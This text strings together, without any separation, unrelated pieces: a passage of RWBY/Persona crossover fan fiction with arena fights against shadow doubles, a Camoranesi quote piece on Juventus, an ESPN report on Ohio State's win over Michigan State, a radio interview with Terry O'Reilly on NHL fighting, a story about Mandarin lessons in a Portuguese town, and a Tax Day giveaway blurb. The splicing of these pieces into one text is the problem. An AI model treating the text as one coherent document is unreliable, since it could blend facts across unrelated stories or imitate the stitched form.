Jaune saw stars and stumbled back. The shadow kicked his legs out from under him and Jaune slammed down on his back. Jaune rolled out of the way as the shadow slammed its mace down where his head had been. Scrambling to his feet, Jaune got his shield up just in time to deflect another mace shot. Now as the shadow's turn to be off balance. Jaune pressed forward, attacking the shadow's side. He blocked its attempt to counter with his shield and got inside its reach. Jaune slashed at the shadow, his blade drawing a shower of sparks as it deflected off the shadow's armor. He swung his sword again but this time the shadow ducked underneath the attack, grabbed Jaune behind the legs and threw him to the ground. The shadow leapt atop Jaune, straddling his torso. Holding its mace with both hands, it lifted the weapon over its head and slammed it down on Jaune's face. There was a blinding flash as the mace bounced back harmlessly. The shadow was clearly stunned and Jaune used the opening to turn the tables. He slammed his shield into the side of the shadow's head, knocking it off. Jaune quickly rolled over, pinned the shadow's mace arm down with his shield. He flipped his sword around and plunged the blade into the shadow's stomach. Black sludge bubbled from the wound as the shadow writed for a moment then fell still. Jaune withdrew his sword and headed back for the seats. It looked like the others were cheering for him, even if he could not hear anything. Interesting, the ramp had not reappeared. Suddenly Jaune was on the ground. His head ached and he was seeing double. "Man you're stupid." The shadow laughed, standing over him. "Finish your kills moron." The shadow lifted Jaune by the collar, set him on his feet and kneed him in the gut. As Jaune doubled over the shadow nailed him in the face with an upward strike from its mace. Jaune found himself on his back again. The shadow had played a nasty trick. As it approached, Jaune decided to play a trick of his own. The shadow stepped up to him, a confident smirk on its face. Jaune kicked it in the groin. The shadow stumbled back, giving Jaune the opportunity to get to his feet. He took a few steps back to catch his breath as the shadow recovered from the low blow. After a moment the pair charged each other. Jaune deflected the shadow's mace with his shield, spun around and stabbed the shadow in the arm. It groaned in pain and dropped the mace. The shadow tried a desperate punch. Jaune ducked it and sliced off its arm. He stepped back then lunged forward, thrusting his blade through the shadow's neck. With a quick twist, he lopped the shadow's head off. It burst into a cloud of glowing ash that evaporated away. "Congratulations, you've actually won this time." Thanatos said. "Rejoin your companions." Jaune climbed the ramp to the others feeling more than a little embarrassed. He expected some jokes at his expense. "I know, that was dumb." He sighed. "You need to be careful." Pyrrha said, laying a hand on his shoulder. "You should never turn your back on an enemy. Your life is at stake." "Yeah, my bad, I guess I got overconfident." Jaune said. "As long as you learn from it, it's fine." Pyrrha encouraged him. "I have to say, I'm a little annoyed." Rise said. "Unless I'm missing something, you got off easy with the mind games." "You're not wrong." Jaune admitted. "He was a problem a while ago but I'm totally over it." "Maybe Thanatos didn't think you were strong enough to bother." Blake said. "Again, not wrong." Jaune groaned. "I don't think that performance is going to change anyone's mind either." "You did fine." Pyrrha said. Jaune was unconvinced. "I've been thinking, we've all got very different levels of ability but all the fights have been pretty close." Ruby observed. "That means Thanatos must be tailoring the strength of the shadow to each of us." "It makes sense to a degree." Naoto said. "If it drains even a little of his power to create the shadows, he wouldn't want to waste energy by summoning shadows that totally overmatch us. That said, if he did that and killed us all, it would hardly matter." "What if just killing us isn't the goal?" Mitsuru theorized. "Thanatos said as much. His aims may not be what he says, but there may be some truth to that." "Maybe we're missing the point." Blake said. "Maybe he doesn't have a choice." "Do you think he really is following Nyx's will?" Akihiko asked. "That would tie his hands." "No, nothing like that." Blake replied. "I don't believe that at all. Maybe it's a more basic limitation on his power." "Shadows are the produce of the unconscious mind." Yu said. The look on his face said he was putting pieces together. "Maybe he can only summon shadows by drawing them out of us. If that's the case, the shadows would naturally be similar to us in terms of ability level." "Or it's something else entirely." Naoto sighed. "As painful as it is to admit, I can't figure this out. I need more evidence. It's a terrible thing to say, but I think we would learn a lot if one of us died." "If you're looking for volunteers I don't think you'll find any." Ren said. "We've been down that road with our shadows already." "No, that's not what I meant." Naoto said. She was clearly sorry she had said anything in the first place but it was too late now. "Sorry, I'm used to investigating crimes. Examining the body can tell you a lot about the killer. Seeing what Thanatos does if one of us falls would be similarly enlightening, though I sincerely hope it doesn't come to that." "If I survived you guys shouldn't have any problems." Jaune said. "You've come up with some interesting theories." Thanatos said. "No matter, it's time for the next match. Aigis or Labrys, you're up." "I'll do it." Labrys volunteered. "I am sure you can handle whatever Thanatos may have in store." Aigis said. Labrys nodded and descended into the arena. "It's almost too easy with Labrys." Hypnos laughed. "She's so unstable." If Labrys was angered by the insult she did not show it. She did look worried though. A swell of black sludge filled the center of the arena then collapsed, leaving behind a humanoid figure holding a gigantic sword. As the excess fell away it revealed a gray-haired robot girl with a close resemblance to Labrys. Labrys did not appear to be surprised but she did seem discouraged. "You're not exactly creative." Labrys sighed. "You made me face Unit 024 the last time too Hypnos." "Why would he need to be creative?" The shadow said. "It's so effective! You keep having to kill me over and over. You say how hard it is. You say you can still see the look of pain and disappointment on my face the moment you crushed the life out of me. Yet you don't seem to have any difficulty repeating the process. Well, at least a part of you doesn't. It makes me wonder who the real Labrys is, you or the one with the yellow eyes. She seems to take charge whenever something important needs to be done. Maybe it's because you're too weak to do it without her. Come on now, bring her out so we can fight. I know you couldn't bear to kill me again. You're too weak to relive that pain." "My shadow won't be making an appearance." Labrys declared. "You're not Unit 024. You're just a monster wearin' her face. Everythin' you say drives that point home. She would never say those horrible things. She would never be that evil. I won't have a problem killin' you." "We'll get to find out won't we." The shadow said. It swung its huge sword around as if it were no heavier than cardboard. Labrys pulled the axe off of her back and it unfolded. She closed her eyes for a moment and a look of grim determination replaced the one of doubt. But there was no madness, no rage, it was just Labrys, facing her past, however painful.
Camoranesi: Juve can do double By Football Italia staff Juventus legend Mauro Camoranesi has insisted his former side have what it takes to clinch a Scudetto and Europa League double. The 37-year-old said it would be fitting for the Old Lady to win Europe’s secondary club competition on home turf, with the final set to take place at the Juventus Stadium. “Juventus is like a school,” he commented. “It helps you to grow and mature. “It is the right place to show your quality, it shaped my career. “I don’t think they should just try to win the Scudetto but also the Europa League. “The Bianconeri have the players to be able to win the double. “Lets cross our fingers that they get to the final as it’s at the Juventus Stadium.” The former Azzurri international also paid tribute to new loan signing Daniel Osvaldo. “We are talking about a striker with great talent, someone different to the rest of the team. “I think that was maybe what above all persuaded Juve to go for him. “The increased competition is an advantage. For a great team, six strikers is not crazy.”
J.T. Barrett threw for three touchdowns and ran for two in No. 14 Ohio State's 49-37 win over No. 8 Michigan State. (1:44) EAST LANSING, Mich. -- If they weren't reading last rites on Ohio State's playoff chances when Braxton Miller injured his shoulder in the preseason, they certainly were after an ugly home loss to Virginia Tech the second week of the season. The only problem with that was nobody knew at the time the guy waiting in Miller's shadow would be every bit as good. Ready or not, Ohio State redshirt freshman quarterback J.T. Barrett officially welcomed himself to stardom Saturday night with a surgical, five-touchdown performance against No. 8 Michigan State in a runaway 49-37 victory that thrust the Buckeyes squarely back into the playoff race. "Some people probably forgot about us," Barrett said. "We just kept working and kept believing." Now here they are, and with four of the top 10 teams losing Saturday, the No. 14 Buckeyes are poised to make a big jump when the new College Football Playoff rankings are released Tuesday night. Not only that, but they exorcised the demons from their bitter loss to Michigan State in last year's Big Ten championship game and now have a clear path in front of them to this year's Big Ten championship game. J.T. Barrett had 386 yards of total offense and five touchdowns against Michigan State. Allen Kee/ESPN Images "I'm glad we got to play in prime time. 'GameDay' was here," Ohio State coach Urban Meyer said in doing some subtle playoff lobbying. "I'm glad everybody got to see the Ohio State Buckeyes because this is a different Buckeye team than it was early in the season." A different team with a different quarterback. Barrett completed just nine passes and threw three interceptions in the 35-21 loss to Virginia Tech back on Sept. 6. Against the Spartans, who entered the game ranked fifth nationally in total defense, he racked up 386 yards of total offense, threw three touchdown passes, rushed for two more and looked very much like he was the two-time defending Big Ten Offensive Player of the Year. Earlier this week, Michigan State linebacker Taiwan Jones raised a few eyebrows when he said Barrett was a better passer than Miller and was a "way better quarterback." Miller later took to Twitter to fire back. If you look at the numbers, Barrett is actually ahead of Miller's pace from the past season. Barrett has already thrown 26 touchdown passes in nine games and also has eight rushing touchdowns. That's compared to 24 touchdown passes and 12 rushing touchdowns by Miller all of last season. Barrett has 2,738 total yards through nine games. Miller finished with 3,162 total yards last season. Michigan State defensive coordinator Pat Narduzzi wasn't about to get into the inevitable comparison between the two. But after watching Barrett do a number on his proud defense, Narduzzi made it clear what he thinks of the Buckeyes' newest star. "That guy made about every shot he could," Narduzzi said. "He threw the seven route on target. He hadn't shown he could do that really consistently. I've got a lot of respect for him. He's a great football player, and he played big in a big game. He didn't throw off the mark at all. He put it right there where their guys were about to make the catches. He's a heck of a quarterback." And he's only going to get better, which could make for an interesting decision for Meyer when Miller returns next season. Meyer will deal with that dilemma (a good one to have) next season. Right now, he's got a football team playing its best football and a first-year quarterback setting the tone. "I don't even think of him as a freshman. He's a great leader, one of the best leaders I've ever been around," Ohio State center Jacoby Boren said. "A guy like that makes you want to play even harder than you can. He's a great guy, great kid and great leader and pushes everyone to be better than what they are." Some of the deep throws Barrett made against the Spartans were about as gorgeous as you're going to see. He connected with speedy Devin Smith six times for 129 yards, and the Buckeyes felt coming in that they would have opportunities for big plays down the field against Michigan State's press coverage. "We didn't want to come in here and be conservative," said Barrett, who was 16-of-26 for 300 yards and didn't throw an interception. "We wanted to go out swinging. That's how we approached this game." As for the connection with Smith, Barrett joked, "I told him to go run really fast, and I will throw you the ball. That was our conversation." The conversation the college football world will be having, if the Buckeyes keep winning, is whether they're playoff-worthy, even with the baggage of that Virginia Tech loss. Leave it to Barrett to shed the best perspective on where the Buckeyes go from here. "We're just focusing on each other and not worrying about things outside our football program," he said. "Knowing that if we play for each other and everybody does their jobs, we're going to be all right at the end of the day." Maybe we should have known that all along.
BL: During your 13 seasons with the Boston Bruins, you spent 2,095 minutes in the penalty box. This ties you for 45th on the career penalty minute list. Are you happy that today's players are not likely to surpass you? This interview originally aired on March 7, 2015. This week it appears again as a part of our ‘ Best Of ‘ show. To discuss these numbers, Bill Littlefield spoke with Terry O'Reilly , an extremely valuable asset to the Boston Bruins between 1972 and 1985, who was regularly among the league leaders in penalty minutes. Over the past few years, NHL enforcers — players hired for their fighting skills -- have been having trouble finding work. Concerns about the long-term effects of concussions have led to stiffer penalties for fighting, and advanced analytics suggest that teams that focus on puck possession skills are more successful. The Wall Street Journal chronicled one result: as fewer players spend time in the penalty box, power-play opportunities are at their lowest level since at least the 1968-1969 season. TO: Well, it's not a record that I'm proud of. It's just an indication of the nature of the game back when I played. Say we went into Philadelphia and you body-checked somebody like Dave Schultz or Behn Wilson. They felt obligated to be outraged in front of their home fans, and it was almost like their gloves were spring-loaded. You bump into them and they popped off. And away you went, and they had a fight. But the change in the game I think has been nothing but good. The skill — some of the prettiest goals we've ever seen the last few years. So the game is headed in the right direction. BL: So it sounds as if, with penalties for boarding, charging, cross-checking, elbowing, etc at their lowest levels since 2001-2002, you can see the difference when you watch a game. TO: You can. You know if you were to watch a two-minute clip of a game from the '70s and then watch two minutes of a game in the '80s and then go to the '90s, every 10 years you can really see a visible increase — uptick — in the overall speed of the skaters. And, you know, there's 20,000 people that have paid to come and watch hockey, not two people dancing in the corner. BL Over the course of your career, you developed into an all-around player. You were a two-time All-Star, in fact. Would you have had the opportunity to develop your skills had you not first found a job as an enforcer? [sidebar title="Derek Boogaard's Troubled Life" width="630" align="right"] John Branch's "Boy On Ice" tells the story of NHL enforcer Derek Boogaard, who died of an accidental drug overdose in 2011.[/sidebar] TO: Well, there's no question that my willingness to scrap bought me more time. But if I were to come along in this era, with my skating skills that I had when I was 19, 20 years old, I would not make the Boston Bruins farm team. BL: Do we lose excitement, though, when there are fewer power-play opportunities? TO: I don't know how many fewer there are. What used to be a two-minute penalty for attempted murder is now two minutes for putting your stick on the side of a player as he's skating by you — wouldn't even be considered a hook back then — but once you put your stick in that area, the referee's arm goes up, and a call is made. So there's a power play. So, statistically, how much is it reduced? BL: In December, ESPN declared the classic enforcer position is "practically extinct." Do you think this is a temporary change or has the game changed in such a way that we don't see these players anymore? TO: I think it's a permanent change just because of the direction in the nature of the game. It's evolving. The most exciting hockey that we could hope to watch would be Stanley Cup Final hockey, Olympic gold medal games — watch the Final Four and how many fights do you see in those games? So you can have the ultimate competition in your sport without fighting, and it's evidence that we don't need it. The other thing is, with all these lawsuits for concussions floating around, the NHL really doesn't have a good defensive position if they have a game that allows two grown men to drop their gloves and punch each other in the head when down the road these players start to show long-term symptoms of concussion. So it's on its way out.
A town in northern Portugal has made Chinese obligatory for 8- and 9-year old school children, in order to boost the kids’ abilities for future competition in the thriving Chinese market. Sao Joao da Madeira, with only 20,000 residents, is regarded as the country’s shoe capital, specializing in luxurious footwear. The authorities there are sure that a good command of Mandarin will ensure a foothold for the Portuguese in China. "Chinese is the key which will open the doors to the world's biggest market," Dilma Nantes, Sao Joao da Madeira's city councilor on education, said. The children also seem to enjoy learning Chinese and dream of visiting China. "I would like to see the Great Wall," nine-year-old Eduardo told AFP, while his classmate Daniela reckoned Chinese was “not particularly difficult.” Their teacher confirmed the children’s progress, saying with a smile, “they are learning very fast.” The financial crisis has seen unemployment in Portugal soar by 17 percent, making it one of the sickest economies in the eurozone. China is the world’s biggest producer of footwear, with an astonishing number of 10 billion pairs per year. However, wealthy Chinese are fond of Portuguese shoes, the second most expensive after Italian - exports skyrocketed from 10,000 pairs in 2011 to 170,000 pairs in 2013. Last year, revenue topped €20 million.
Planning on filing your taxes on time? Feeling like a sexy San Franciscan? Lucky you! Trojan, the trusted condom company that caused quite a buzz when they announced they'll be giving away free vibrators on tax day earlier this year, will be doling out grown-up toys on Friday, April 12 at The Box in SoMa. According to the good people over at SFist, all you have to do is show up at the event space some time before noon and 4 p.m. and mention you've filed your taxes. No proof necessary -- just your own enthusiasm. A plethora of other national chains -- mainly of the fast food variety -- will also be handing out Tax Day freebies to upstanding citizens, as our friends at HuffPost Money noticed. But this is San Francisco, after all, so you're obviously getting the most bang for your buck at The Box. Just be sure to proceed with caution.